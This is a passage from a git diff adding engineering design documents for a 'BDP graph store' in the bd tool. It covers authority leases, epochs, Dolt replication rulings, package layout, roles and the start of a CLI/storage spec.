database restore *plus* the lane. **(iii)** providers declare `LedgerDurability`; `bd --graph-mode link restore` rotates unless continuity is shown. **Two epochs, distinct:** History's `store_epoch` singleton (versioned-beads Phase 1, migration 0067) fences restore and replacement on the issue plane; the graph's authority epoch fences promotion on the graph plane; a restore must be reasoned about for both. **Stated residuals:** a whole-directory or whole-installation copy carries the witness and is undetectable without an arbiter — so outside A10, an *authority-preserving* deployment must have one (a shared database under A9). **A10 amends that topology restriction:** an embedded workspace with no remote and no server has local authority under its workspace gate; the solo/client-host boundary and rotation/steal rules are stated in A10 below. The solo leg is single-copy by operator responsibility; a copied or restored solo store that cannot establish continuity requires a new Scope, rather than a claim that the gate detects a coherent copy. Physical copies remain the stated operator-managed hazard. | Rounds 2–5. | +| A6 | §4 lifecycle (metadata.json; `BD_BDP_TOKEN`; `BDP_SCOPE_URL`) | both files; env token | **RULED.** **`bdp.scope_url` is a project fact in tracked `config.yaml`** (yaml-only; `BDP_SCOPE_URL` read first, then `BD_BDP_SCOPE_URL`). A mint with `--scope-url` writes it as the transition's `config_written` phase. **Once this workspace holds a witness, `bd config set`/`set-many`/`unset` refuse the key** (one guard in the shared `rejectProtectedConfigKey` path; a DB-free file check) — the URL then changes only through `bd --graph-mode link promote --rotate-url` / `bd --graph-mode link restore`, which are refused while an overriding `BDP_SCOPE_URL` is exported. **`bdp.client`, `bdp.server`, `bdp.insecure_http` live in `config.local.yaml`** via `bd init --bdp-server` and `bd --graph-mode link client`. The three new `.beads/` files join the gitignore template, `requiredPatterns`, and `trackedRuntimePatterns`; only the witness joins `sensitiveFileNames` (error class). No env-carried token; no token key in config; `bdp.client` blocked from env. | Rounds 2–5. | +| A7 | **9** (promotion "explicit and epoch-rotating") — *new* | v5 partitioned by hazard but fenced a subset | **RULED.** **Fences compose by hazard; every replicated graph mutation is fenced inside its transaction and, on hazard R, published by one primitive.** *Hazard S — a shared database* (every SQL-server topology): the dolt-ignored **`graph_authority_lease`** row (the `leases`/`RunTxEphemeral` precedent) with the **fence cell** predicate in A1 — the holder is the **workspace (installation key)**, so the serving process and the workspace's own CLI verbs share it (`promote` and `rotate` take the *shared* gate and rely on the lease; `types install`, `restore`, and `ledger apply` take the exclusive gate and require the server stopped); renewal is ephemeral, rewrites the fence, and extends `expires_at`; an expired lease naming this workspace is self-regranted by the next write **regardless of expiry**; a lease naming another holder is taken **only with `--steal`** — its expiry alone never grants a takeover — and the epoch is CASed. **A lease row is not proof of "minted here"**: `dolt clone` omits the dolt-ignored table, but `DOLT_BACKUP` restore and a directory copy carry the working set with it, and Dolt's `@@server_uuid` is per machine (`~/.dolt/config_global.json`; probed identical for a same-machine copy), so no in-band identity distinguishes a copied database served by a second `sql-server`. The lease row is therefore bound to `scope_url` and `authority_id`, and in-place promotion has exactly two paths: **self-regrant** when the row names this workspace, and **`--steal`**, an operator assertion of "same database" in the class of force-push and `bd sql`; a foreign holder's *expiry alone* never grants a takeover. `Promote --rotate-url` is the bootstrap that creates a new lease row under a new URL (refusing the old one forever) — the path for a clone, a restore that cannot show continuity, and a copy. Residual, stated: a `--steal` on a copied database creates a second authority; a restored copy is caught first by the witness's ledger head (`ErrStateRewound`). Throughput model, stated: concurrent graph mutations in one workspace serialize pairwise on the fence cell, and a fenced transaction that spans a renewal loses whenever the renewal commits first, so **every fenced transaction that runs beside a possible renewer (the shared-gate context) carries a deadline below a third of the TTL** (cancelled and retried past it — the replay budget must allow more than one attempt), in-process renewal is serialized against the process's own mutations with jittered cadence, and **`types install` runs under the exclusive gate**, where the sole writer sets `expires_at` itself and runs unbounded. **The file lock is held continuously from `Begin` through `Finalize`/`Abandon`**, and recovery acquires it first, so a live transition is never mistaken for crash residue. *Hazard R — a configured remote* **[deferred under A9, ruled: input to the write-profile ADR, not normative for v0]**: **every** replicated graph mutation (`Mint`, `Promote`, `Rotate`, `Install`, `LedgerApply`, the P1 seeds, P3 writes) runs through **`PublishGraphMutation`** on the provider: `DOLT_FETCH`; require the remote-tracking HEAD to be an **ancestor** of local HEAD (`DOLT_MERGE_BASE`); record the remote's graph roots and ledger head; the fenced transaction; a **scoped** commit (`DOLT_ADD` of the graph tables, `DOLT_COMMIT -m` — never `-Am`; a new `RunTxScopedResult` on the UOW leg, whose `Commit` hardcodes `-Am` today); `DOLT_PUSH` classified by a **typed** lift of the tree's untyped `pushRacePattern` (it already matches all three race routes) — on a race, refetch and compare **both** the remote-tracking ref's **ledger head** (`SELECT seq, hash FROM graph_ledger_events AS OF '' ORDER BY seq DESC LIMIT 1` — `MAX(seq), hash` errors under `ONLY_FULL_GROUP_BY`, probed) **and the eight graph tables' diff** between the recorded remote pre-head and the new remote head (`DOLT_DIFF_STAT`/`dolt_diff` restricted to those tables; `DOLT_HASHOF_TABLE` reads only the working set) against what was recorded before the transaction: any graph delta or ledger movement → fail closed and undo — **never the `(authority_id, epoch)` tuple alone**, which a same-witness twin (a VM image or shared home) or a same-authority fork shares; neither changed (issue-plane divergence only) → keep the commit, `ErrSyncRequired`; any other failure → keep the commit, mark `unpublished`, retry later. The classifier lifts the **whole** of `isPushRaceErr` — its diverged-history and ancestor-PK-mismatch exclusions included — behind a typed lower-layer error. The remote-tracking ref is `remotes//`, built by one provider API from the configured sync remote and the active branch (the `verifyPullLanded` spelling); a missing ref is vacuously an ancestor (the push creates it); an empty remote ledger reads as no head. Undo = `DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` (unstage) and `DOLT_CHECKOUT('
')` — a bare checkout after a soft reset restores from the *staged* root and reverts nothing (probed) — when HEAD is still the operation commit, `DOLT_REVERT ` otherwise; then, **on either path**, a compensating ephemeral write restores the pre-operation **lease** row — predicated on the lease still naming this workspace at the operation's epoch and on the current fence, and writing a fresh fence (a revert restores the Scope epoch while the ignored lease keeps the new one, which would lock the workspace out of its own lease — probed); if another holder now legitimately holds the lease, it is left alone; the undo runs before any other graph mutation. **Reads on hazard R** require a remote observation no older than `bdp.authority_heartbeat` (a serving process fetches on a timer; a CLI read fetches when stale), **comparing the remote ledger head against the workspace's witness — reloaded on every check — not against a process-local expectation**, and recognizing a **pending local operation** (a publication that landed before the witness advanced, or a `local_committed` record) as this workspace's own, so a publication by the workspace's CLI is a re-arm, not a loss; they fail closed after the grace. Recovery on hazard R reuses the same ledger-plus-eight-table delta classifier as the push race: issue-plane-only movement is `ErrSyncRequired`, never an undo. The fence watcher is a state machine `held → renewing → lost`: on loss the BDP rows are disabled atomically (legacy surface untouched), `bd --graph-mode link serve` exits 3, and the watcher joins before provider shutdown. *Both hazards → both fences.* A clone that received the Scope row by `dolt clone` has no lease row and bootstraps only with `bd --graph-mode link promote --rotate-url`; a copy or restore that carries the row is the operator hazard stated above. Services on an ephemeral home pin `BEADS_INSTALLATION_ID_FILE` to persistent storage, or every restart is a `--steal`. A `promote --rotate-url` beside a live server changes the served URL and the host allowlist, which are fixed at startup, so the server exits 3 and is restarted. Force-push routes bypass the fence as operator acts. | Round 5 (Codex C2–C4, H5, H7, H10, H11; Gemini). | +| A8 | plan §1 constraint #1 and ruling 12 — *new* | v5's method-set reasoning was inverted | **RULED: option A.** **A:** constraint #1 scoped to *behavior* (byte-identical gate output). Adding six required methods to `Storage` breaks **direct implementers** (the compiler catches them; six `ErrUnsupported` stubs; the joint `ReadyClaimer`/`BatchCloser` CHANGELOG entry is the precedent) and is **silently promoted through every wrapper that embeds the interface** — which is why the censuses are mandatory, not optional. **B:** an optional `BeadGraphCapable` interface on the concrete store is **not** promoted through an interface-embedding wrapper at all, so every wrapper must implement it explicitly *and* every consumer needs a resolver/unwrap — the v1-plan `graphsource` shape. | Round 5 (Codex M14, Gemini). | +| A9 | **9** — simplification, **as amended by A10** | — | **RULED 2026-09-07; solo exception ruled 2026-09-08.** **Outside A10's solo topology, v0 authority requires a shared database.** Hazard R's publication primitive, remote-read freshness, and multi-phase publication recovery are **deferred to the write-profile ADR**; a remote-backed workspace is a **non-authority** for any Scope it did not mint on its own shared database (its `bd serve` shows rows absent; its CLI reads refuse); cross-database promotion is **`--rotate-url` only** (a new Scope, continuity via the ledger lane). The graph tables still replicate through push/pull like any other table; the validator refuses foreign deltas. What remains of A7 is hazard S alone — one arbiter, one lease, one counter. **Topology matrix, as amended by A10:** a shared database that **minted locally** is authoritative regardless of any configured remote; a shared database that received the Scope row by replication, restore, or copy without a valid local authority refuses (`ErrNotAuthority`; `--rotate-url` or `--steal` as above); outside A10's embedded solo exception, the embedded and registered-store client-host arms refuse authority-establishing and authority-dependent local operations (`Mint`/`Promote`/`Rotate`/`Install` and local graph reads answer `ErrNotAuthority: authority requires a shared database`; the embedded client-host leg uses `bdp.client: server`, while the solo leg supplies the full local read contract under A10; client-mode reads stay allowed everywhere); a configured remote neither grants nor removes authority, and **transition recovery takes the local-operation path on every shared database** (the remote classification exists only when hazard R is in force); two shared databases that both mint under one tracked `bdp.scope_url` are settled by the replication/merge ADR — until it lands, the earlier `mint` event (lineage) wins and the loser rotates; every hazard-R passage (publication primitive, remote-read freshness, publication recovery, `Remote` fixture cases) is excluded — but the default-branch rule for the ignored lease table (Part D.5) stays, because it is a property of dolt-ignored tables, not of hazard R; A5's "single-copy by operator responsibility" sentence is withdrawn under A9; A10 subsequently adds the solo exception, whose single-copy safety is again an operator responsibility. Physical database copies remain the stated operator-managed hazard. **Selected for v0**: the only serving topology already is the SQL-server workspace, and this removes the largest block of new mechanism from P1/P2. | Round 5 (Codex C1: "require an externally observable fence or weaken the guarantee"). | +| A10 | **9**, amends A9 | embedded authority refused under A9 | **RULED 2026-09-08: B — solo topology.** An embedded workspace with no configured remote and no server mints a local Scope, holds a witness and a lease satisfied by the workspace gate (one process holds the embedded store), and answers every link-mode verb locally. It serves nothing: `bd serve` still refuses embedded Dolt. It becomes a client host the moment a shared database or remote appears, under the rotation and steal rules. A solo store later pushed to a remote is "minted locally" for the replication ADR — authoritative until a foreign delta appears. The embedded leg wires the full read contract for solo topology and the refusal contract for client hosts. Options A (defer to P3) and C (require a local server) were rejected. | Plan §9 A10; operator ruling 2026-09-08, raised by Steph's adoption harness (sjarmak/mem). | + +A10 mechanism work for P1: assign the local solo mint trigger without adding a +serving path, and map its exclusive workspace gate to the shared-leg lease +predicates and fence census. The witness, Scope identity, ledger-head and graph- +state checks still apply; the gate satisfies the solo lease, rather than +requiring an invented shared database. The exact lease-row representation and +expiry/self-regrant mapping must be recorded before implementing that leg. This +is implementation work under ruled A10, not a new CLI-name ruling. + +Two decisions recorded here and ruled 2026-09-07 as plan rulings 13–14: + +- **Enforcement boundary for out-of-role writes — RULED 2026-09-07 (plan + ruling 13, "A+B").** `bd sql`, the proxied `RawSQLUseCase`, force-push, + and a merge can change graph tables without allocation, authority, + revision, or owned-Link coupling checks. Out of contract; the + **state-change validator** rejects invalid or foreign-authority graph + state (a delta on the ledger-covered tables must be explained by ledger + events since the recorded head; bead and link bodies by row provenance); + and the eight replicated tables carry session-gated `BEFORE + INSERT/UPDATE/DELETE` triggers that refuse a row unless `@bd_graph_role` + is set — every graphops mutation sets it inside its transaction and + clears it before `COMMIT`/`ROLLBACK` (the clear is load-bearing: a + pooled connection keeps the variable otherwise — probed). Probed on Dolt + 2.1.8: the triggers fire (errno 1644), replicate through `dolt_schemas`, + are created by one multi-statement `Exec` of a migration file, and are + silent on `DOLT_MERGE`/`DOLT_PULL` (the validator's and ruling 14's + territory). A fence against accidents, not credentials; the two-SQL-user + boundary is a C-lane task. Three P0 verification rows gate the fence + (spec B4). +- **Replication/merge ADR as a P1 gate — RULED 2026-09-07 (plan ruling 14, option B: the gate plus a four-law charter).** The merge entry points are not + four Go functions: `mergesettle.go` exports seven, `fastforward.go` and + `automerge.go` more; `CALL DOLT_PULL` merges inside Dolt on every pull + route; the UOW leg's `doltVersionControlSQLRepository` calls + `DOLT_MERGE`/`DOLT_PULL`/`DOLT_PUSH` directly; embedded federation sync + fetches and merges; the remote-migrate gate does a fast-forward + `DOLT_MERGE`. The validator runs **on every observed graph-state-version + change**: the witness + records the graph-state version — `DOLT_HASHOF_TABLE('')` for each + of the eight replicated graph tables in a fixed order, hashed together + (the function exists in Dolt 2.1.8 and takes one table argument; the + lease is ephemeral and excluded) and the HEAD commit; a body that sees a + different version returns `ErrStateChanged` *without* validating inside + the held transaction; the accessor validates under **one singleflight + coordinator per provider instance** in its own transaction (ancestry + `DOLT_MERGE_BASE(recorded HEAD, HEAD)`; row provenance for foreign + updates), advances the witness, and retries once. Descriptor caches are + keyed by the descriptors table's hash. **The charter:** (1) every SQL + pull route fetches, inspects the eight tables between HEAD and the + remote-tracking ref, and refuses a foreign-authority or unexplained + delta *before* merging — `DOLT_PULL` commits a clean merge immediately + and `ROLLBACK` does not undo it (probed), so inspection is the only + pre-merge refusal point; routes that cannot inspect first (the + CLI-subprocess pull, a merge already landed, restore, force-push) fall to + the validator, which reverts the eight tables to their state at the + recorded HEAD in a new commit when that HEAD is an ancestor (the hazard-R + undo shape; later commits preserved) and marks the witness `unverified` + otherwise; (2) no graph-table conflict is auto-resolved and `--strategy` + never touches a graph table — the pull is refused naming the table, the + remedies are the link-mode verbs; (3) a foreign graph delta is refused + whole, never merged cell by cell, and the later of two mints under one + URL adopts the earlier by an explicit verb the ADR names; (4) a + workspace without a witness takes the remote's graph state wholesale and + refuses to mint until rotated or stolen. Federation unfiltered in v0. + The ADR (`engdocs/BDP_GRAPH_REPLICATION_ADR.md`) is P1's first + deliverable, council-reviewed; no graph migration merges before it. + +What none of this changes: ruling 9's level — the authority is the graph +store as reached through the normalized storage abstraction, on any +provider; Dolt is the reference realization; the CLI verbs and the BDP +handler are both clients of that abstraction. + +## 3. Packages and their imports + +```text +graphops/ PUBLIC LEAF (sibling of issueops/, memoryops/) + ├─ types.go Bead, Link, Ref, Properties, Revision, Attribution, + │ TypeDescriptor, OwnedLinkDecl, OwnedLinkGroup, ScopeIdentity, + │ LedgerEvent, LedgerManifest, Cursor (opaque) + ├─ laws.go canonical-ID grammar, code-unit ordering, JSON canonicalization, + │ RFC 6902 §4.6 equality, Scope-URL validation, ledger hashing + ├─ reader.go Reader: Bead, Link, Beads, Links, IncidentLinks + ├─ types_role.go DescriptorReader: Descriptors, Descriptor + │ TypeInstaller: Install (post-mint; published on hazard R) + ├─ identity.go IdentityReader: Read, LedgerDurability + │ ScopeBootstrapper: Mint (once; installs the built-in catalog) + │ Admin: Promote, Rotate, LedgerSnapshot, LedgerApply, + │ MarkUnverified, ClearUnverified + (transaction-bound provider capabilities — StateVersioner, GraphPublication, LeaseClaim — + live in internal/storage/graphcap, not here: the public leaf carries no runner type) + ├─ writer.go (P3) Writer + └─ errors.go ErrNotFound, ErrValidation, GoneError{Path, State}, + ErrNoScope, ErrScopeExists, ErrNotAuthority, ErrStateRewound, + ErrStateChanged, ErrSyncRequired, ErrUnpublished, ErrURLReused, + ErrRepresentationTooLarge, ErrNotServedYet + NO authority fields on any request type — the witness is the store's. + imports: stdlib + beadserrors ONLY + +internal/storage/authority/ THE WITNESS MANAGER (clone-local half; no SQL) + Witness{InstallationKey, ScopeURL, AuthorityID, Epoch, LedgerSeq, LedgerHash, + StateVersion, StateCommit, Unverified, GrantedAt, Pending *Transition} + Transition{Kind, OpID, Phase (begun|local_committed|published|config_written| + undo_started|versioned_undone|lease_restored), PreHead, PreLedgerHead, PreLease, + OpCommit, ExpectedRoots, RemotePreHead, ConfigIntent} + Advance takes a provider-supplied Verifier (ledger-prefix + ancestry; under hazard S the + ledger seq is a total order, so seq decides) and runs it under the file lock; the lock is + held from Begin through Finalize/Abandon; LeaseClaim lives in internal/storage/graphcap + installation id: the directory user_config_path.go's UserConfigYamlPath chooses + (~/.config/bd preferred; native fallback), file installation-id, or BEADS_INSTALLATION_ID_FILE; + created O_EXCL 0600, re-read, directory fsynced; per OS user (a service user and an + operator compute different keys — cross-user shared roots are unsupported, as the + workspace gate already declares); an ephemeral home regenerates it (promote again) + Load: plain read; a Pending record → recovery by evidence (the ledger carries the op id? + the remote: pre-head / contains this op / foreign?) → resume, finalize, or undo — BEFORE + any assertion; run by admin verbs and bd --graph-mode link serve only; bd serve and CLI reads treat + Pending as rows-absent / ErrNotAuthority with a notice + Advance: bounded exclusive flock on .beads/graph-authority.lock (internal/lockfile; + poll with timeout, the workspacegate precedent; both ErrLocked and ErrLockBusy honored) + → descendant-aware compare-and-advance (older contained candidate = no-op; fork = reject) + → atomicfile → fsync dir + Begin / SetPhase / Finalize / Abandon; preflight ENSURES the .beads/.gitignore entries and + refuses a git-tracked path + +internal/storage/graphops/ TX-LEVEL SHARED BODY — all three legs call it + type DBTX interface { ExecContext; QueryContext; QueryRowContext } + assertAuthorityInTx(ctx, tx, w, claim, mutating): Scope row == w; ledger head; lease row — + read: SELECT holder/epoch/expires_at/fence and require expires_at > NOW(6) (reads never + write the lease; a CLI read regrants once, ephemerally, before a fresh read tx when its own + lease has expired); mutation: UPDATE … SET heartbeat_at = ?, + expires_at = NOW(6) + ttl, fence = WHERE id = 1 + AND holder_installation_key = ? AND epoch = ? AND fence = with exactly + one affected row (same-cell-different-value → 1213 → replay re-evaluates: still + authorized → succeeds serially; superseded → 0 rows → refuse); the 1213 surfaces from + CALL DOLT_COMMIT on the scoped path, so that call stays inside the retried closure; + graph-state version == w.StateVersion else ErrStateChanged + nextLedgerSeqInTx: UPDATE graph_ledger_seq SET next_seq = next_seq + 1, alloc_nonce = + WHERE id = 0 (the random cell is what makes two allocators conflict) + ReadBeadInTx / … / MintScopeInTx / PromoteInTx / RotateInTx / LedgerSnapshotInTx / + LedgerApplyInTx (anti-reuse history; reserved allocations; counter set) / + ValidateStateInTx / graphStateVersionInTx: eight calls DOLT_HASHOF_TABLE('') + in the fixed order; StateVersion = sha256 of the concatenated hashes + SeedBeadInTx / SeedLinkInTx — fixture writer; _test.go call sites only + +internal/storage/dolt/beadgraph_*.go, internal/storage/embeddeddolt/beadgraph_*.go + CLI legs (embedded never serves): witness + claim loaded per call; withReadTx / + withRetryTx; scoped commit (DOLT_ADD graph tables + DOLT_COMMIT -m — the + doltAddAndCommit precedent); PublishGraphMutation for hazard R + +internal/storage/domain/db/beadgraph.go + doltVersionControlSQLRepository additions + BeadGraphUseCase over db.Runner; the repository gains Fetch/Push (exist), MergeBase, + ResetSoft, CheckoutTables, Revert, HashOfTables +internal/storage/uow/beadgraph_*.go THE SERVING LEG + uow.UnitOfWork gains BeadGraphUseCase(); doltSQLProvider gains beadsDir (received by + cmd/bd/uow_factory.go's newSQLServerUOWProvider today, dropped) and timedProvider gains a + getter for it (it builds roles over the wrapper today); NEW + RunTxScopedResult(tables, msg) — doltServerTx.Commit hardcodes DOLT_COMMIT('-Am') today; + RunTxEphemeral for lease renewal; PublishGraphMutation on the provider + +internal/storage/storage.go + six BeadGraph* accessors +internal/storage/hook_beadgraph_*.go, internal/telemetry/beadgraph_*.go, backend/conformance/… +internal/httpapi/bdp_routes.go bdpRouteTable — conditional rows behind route() (P2); + FenceSource state machine (held → renewing → lost) +internal/httpapi/bdpwire/ hand-written DTOs held to the vendored, pinned schema by tests (Part D.3, recorded 2026-09-07) — P0 +internal/bdpclient/ graphops.Reader/DescriptorReader over the wire +cmd/bd/bdp*.go link mode root; bdpRootPolicy keyed by CommandPath(); + bdp_serve.go staged startup (exclusive mint, then shared serve) +cmd/bd/backup_restore.go runBackupRestore → Admin.MarkUnverified (no-op without a witness) +``` + +Dependency direction, enforced: `cmd/bd → graphops, storage accessors, +bdpclient`; `internal/httpapi → graphops, bdpwire`; `internal/storage/* → +graphops, authority`; `graphops → beadserrors, stdlib`. A new depguard rule +denies `internal/storage/graphops` to everything but the three legs and +`domain/db`. + +## 4. Roles — how many, and why + +The house test: a role is a **different question**, born whole with the +methods that are shapes of one question; and *can one caller be entitled +to the read and not the write?* — if yes, two roles. Six, each behind its +own `BeadGraph*` accessor. **Authority is never a parameter.** Transitions +produce the witness and carry their own preconditions instead of the head +check — named per method. + +- **`graphops.Reader`** — one record by path (grouped, bounded + `ownedLinks`), keyset pages under an opaque cursor, incident Links. + Protected. +- **`graphops.DescriptorReader`** — the ordered catalog and a keyed lookup. + Protected. Bounded. +- **`graphops.TypeInstaller`** — post-mint install/converge with `install` + events; a fenced mutation, **published through the same primitive as + every other replicated mutation** on hazard R. P1. Before mint there is + no install: the built-in catalog is installed by `Mint`. +- **`graphops.IdentityReader`** — the Scope row, the witness's claim, and + `LedgerDurability`. **Exempt** (it reports state). +- **`graphops.ScopeBootstrapper`** — `Mint`, once, under the exclusive gate + through a temporary source (the spec's one staged-startup sequence: shared + read → release → exclusive only when there is no Scope row → release → + shared serve), fenced per hazard, multi-phase: precondition *no Scope row*; INSERT the singleton Scope row, seed + the counter, append `mint`, install the built-in catalog with its + `install` events — one transaction, one scoped commit, published on + hazard R, `config.yaml` written when `--scope-url` supplied it; then the + witness is finalized. +- **`graphops.Admin`** — `Promote` (precondition: Scope row CAS + the + fence; produces the witness), `Rotate` (precondition: Scope-row lineage + and the lease; `refuse_url(old)` + `rotate(new)` in one + transaction; `config.yaml` in the `config_written` phase; refused while + `BDP_SCOPE_URL` overrides), `LedgerSnapshot`, `LedgerApply` (recovery + predicate; anti-reuse history only; regrants), `MarkUnverified`/ + `ClearUnverified`. Authorized by being the local administrative + composition root — `Promote` and `Rotate` under the **shared** gate (they + rely on the lease and run beside a live server), `Install`, `LedgerApply`, + and `bd --graph-mode link restore` under the **exclusive** gate; `httpapi.GraphConfig` + has no field for it. +- **`graphops.Writer`** (P3, not now). + +## 5. A read, end to end + +```text +client ──GET /acme/beads/x──▶ internal/httpapi (bd serve | bd --graph-mode link serve; UOW leg) + │ route(): deadline → bearer → Bd-Project-Id stamp (absent = pass) → database slot + ▼ +bdp handler: path grammar (graphops laws) → ONE role call + ▼ +graphops.Reader.Bead(ctx, BeadRequest{Path}) ← no authority fields + ▼ +BeadGraphReader (manager-backed role): w := authority.Load(beadsDir); claim := process claim + │ hazard R: require a remote observation ≤ bdp.authority_heartbeat old (fetch if stale; + │ fail closed past the grace) [absent under A9] + ▼ RunTxRead ─▶ storage/graphops.ReadBeadInTx(ctx, runner, w, claim, req) + │ stmt 1 Scope row: (scope_url, authority_id, epoch) == w + │ stmt 2 ledger head: event at w.LedgerSeq has hash w.LedgerHash; MAX(seq) >= w.LedgerSeq + │ stmt 3 lease row: holder key/epoch == claim AND expires_at > NOW(6) (SELECT — a read never + │ writes the lease; a mutation UPDATEs it, rewriting the fence cell and extending + │ expires_at, self-regranting if expired; a CLI read on its own expired lease regrants + │ once ephemerally before a fresh read tx) + │ stmt 4 graph-state version: DOLT_HASHOF_TABLE('') × 8 in fixed order, sha256 of + │ the concatenation == w.StateVersion → else ErrStateChanged (returned WITHOUT validating here; + │ the accessor validates under the provider's singleflight coordinator, advances the + │ witness, retries once) + │ stmt 5 bead row + │ stmt 6 descriptors for the Bead's Type (cache keyed by the descriptors table's hash, + │ which stmt 4 already read) + │ stmt 7 ONE batched owned-links query, LIMIT (bound − rows so far) + 1 + ▼ +graphops.BeadRecord {Bead, OwnedLinks []OwnedLinkGroup} + ▼ +bdp handler: bdpwire DTO ← record; typed error → BDP Problem; JSON out +``` + +Statement budgets are per role method (spec B2). A write (P3): the body +asserts **mutatingly** (the lease `UPDATE` with one affected row), runs the +no-op gate, records attribution, versions the source on owned-Link +mutation, takes the next `seq`, appends the event, stamps provenance; the +accessor commits **scoped**, **publishes on hazard R**, and only then +advances the witness — DB first, file second. + +## 6. Where the rulings land + +| Ruling | Lands in | +| --- | --- | +| 1 charter | `engdocs/PROJECT_CHARTER.md` edit rides the first merged slice | +| 2 substrate S1 | replicated migrations (scope, history, descriptors, beads, links, ledger events + counter, allocations) + the lease's three parts (`doltIgnorePatterns`, main-series creation, ignored-series twin) + `ignoredSource.sentinelTables` gains the lease | +| 3 allocation ledger | `graph_allocations` (derived; `reserved` state after a ledger-lane apply); `graph_ledger_events`; `graph_ledger_seq` | +| 5 withdrawal | nothing projects Issues; structural | +| 7a Scope URL | `bdp.scope_url` in tracked `config.yaml` (`BDP_SCOPE_URL` first); singleton Scope row; no dev-mode derivation | +| 7b listener | BDP rows behind `httpapi.route()` (A2) | +| 8 changefeed | P3 | +| 9 authority | store-owned witness in every transaction (A1); fences by hazard (A7), hazard S under A9, and the solo workspace gate under A10; contract cases incl. clone, restore, copied witness, expired-lease mutation, nonce mismatch, graph delta under an unchanged tuple, revert when HEAD moved, each phase's recovery | +| 11 restore vs identity | hash-chained head in the witness; multi-phase transitions; ledger lane = anti-reuse history; `LedgerDurability`; rotation (A5) | +| 12 store/Scope/client | `bd init` migrations only; among serving commands only `bd --graph-mode link serve` mints (staged); A10 solo mint trigger is a P1 mechanism; `bd --graph-mode link client` (A6); A8 options; registered backends absent in v0 | +| 13 out-of-role DML | session-gated triggers in the five table files (spec B4); the validator's ledger accounting (B3); three P0 verification rows; the two-SQL-user boundary is C-lane | +| 14 replication/merge | `engdocs/BDP_GRAPH_REPLICATION_ADR.md` first in P1; fetch-inspect-merge on the SQL pull routes; validator revert on the rest; graph tables excluded from auto-resolve and `--strategy`; clones take remote state wholesale | +| 6 wisps | not served | + +## 7. What is deliberately not designed here + +- Cross-request cursor continuation (P2 ADR); no collection routes before it. +- The write profiles' wire (W1), `graphops.Writer`, per-token authorization + classes, the push-on-commit latency budget, and the + acknowledged-but-unwitnessed-write window (P3). +- The replication/merge ADR's mechanism (§2b; the charter is plan ruling 14) — P1's first deliverable, `engdocs/BDP_GRAPH_REPLICATION_ADR.md`; precedes the migrations. +- A DB-privilege (two-SQL-user) boundary for the graph tables (C-lane, ruling 13). +- The `GraphPublication` capability a registered backend would declare to + serve BDP (deferred; v0 serves from SQL-server workspaces only). +- Whether `bd --graph-mode link serve` remains after W2 (default: yes — the serving minting path). +- Type generation from the bead-type inventory (W3) — it feeds the built-in + catalog `Mint` installs. diff --git a/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md b/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md new file mode 100644 index 000000000..5b7efc1fb --- /dev/null +++ b/engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md @@ -0,0 +1,1262 @@ +# BDP graph store — CLI and storage-interface changes, in detail + +**Status:** Draft v17 (W-arch) — A1–A9 and plan rulings 13–14 ruled 2026-09-07; A10 ruled 2026-09-08; P0 current-wire completion open — feat/bead-graph +**Date:** 2026-09-12 (v16: 2026-09-10; v15: 2026-09-09; v14: 2026-09-02) +**Companions:** `BDP_BEAD_GRAPH_PLAN.md` (rulings), `BDP_GRAPH_ARCHITECTURE.md` +(shape; its §2b lists A1–A9 and plan rulings 13–14, **ruled 2026-09-07**, +and the A10 solo-topology amendment **ruled 2026-09-08**; every +hazard-R paragraph is marked *[deferred under A9]*). This document is the +*diff*: every command, flag, config key, interface member, package, +migration, and gate the graph work adds or touches — and what it does not +touch (Part C) and what it changes that an earlier draft claimed it did not +(Part C2). Phase markers follow the plan's §7: **P0** contracts and wire, +**P1** storage, **P2** serving, **P3** writes. + +Revision v15: 2026-09-09 current-source alignment and council corrections; +phase/owner gates and pinned-source clarity added, historical rulings preserved. +Revision v16: 2026-09-10 formal-review correction aligns all embedded-leg +summaries with A10 and qualifies the registry claim; plan §0a carries the +current dependency refresh and outstanding reviewer/owner gate. + +Revision v17: 2026-09-12 records the P0 Read adoption and merged BDP +Transactional/History dependencies consistently with the owning plan; no new +contract pin, migration slot or runtime capability is selected. + + + +## Alignment addendum (2026-09-09, refreshed 2026-09-12) + +[Plan §0a](BDP_BEAD_GRAPH_PLAN.md#0a-current-bdp-and-versioned-beads-alignment-2026-09-09) +records the historical pins and the 2026-09-12 refresh: BDP #19/#20 and +History #30 wire/spec are merged; Jim #6304 is merged and #6147/#6358 remain +open. History realization and completion gates remain separate. The original +P0 pin and the adopted Read foundation at `19923f5b` remain explicit; +neither is a current-write or History capability claim. Three storage/adapter +boundaries follow from that reconciliation: + +1. P3 delete results carry the shared `deletedIdentity` schema in the + `deleted` result member, including the removed Resource's final live + revision. Owned-Link results also report `source` (the source Bead's + absolute canonical URL) and `sourceRevision` (that Bead's resulting + revision), on creation, update and deletion alike. Deletion never mints a + deleted Resource version. +2. The allocation/authority ledger below is neither Jim's retained + `issue_versions` store nor the TX projected erasure ledger. Preserve the + separate epochs and recovery duties. A future History store needs complete + retained records and applicable copy cleanup; adding History names to this + allocation ledger does not implement either requirement. The P3 ADR + inventories selected-profile storage/interface deltas and affected migration, + state-version, fence, inspection and census gates under plan §0a. The eight + replicated tables below are the initial P1 scope; no new table or interface + widening is prescribed, and P1 need not wait for the full P3 design. Any + necessary later addition preserves frozen migrations and A8 source-break + disclosure. +3. The approved History context envelope is distinct from carried attribution + and properties. Its commit-time, operation fan-out, legacy absence, + postimage/Event/row placement and erasure constraints are materialized in + merged #30 (`1fe8cf32`, recorded in the dated plan §0a dependency table); + their local adoption needs an explicit provider mapping. Jim's existing + columns, empty-actor status and local ordinal do not supply that mapping. + +Plan §0 records P0's adoption of the Read foundation and narrow erased-pointer +rejection, preserving other RFC 9457 extensions. Subsequent wire adoption +remains deliberate; those dated checks do not establish current serving. P1 rechecks merged main and the migration advisory before claiming +actual slots; 0067 is now merged and 0068 is reserved by Jim's still-open +Phase 2. [Plan §7's owner gates](BDP_BEAD_GRAPH_PLAN.md#current-wire-and-profile-adoption-gates-2026-09-09) +assign these exits, shared negotiation/conditional contracts and their P2 +public-boundary proof. Before P3, record the reviewed selected write-profile +pin under plan §0. Field spellings above quote the §0a upstream pins and are +re-verified at that write pin; this addendum introduces no new local wire +field, migration or implementation. + +## Part A — CLI + +Graph behavior is selected by the **root flag `--graph-mode link`** +(default `dependency`; `BD_GRAPH_MODE`; config key `graph-mode`), never +by a verb prefix 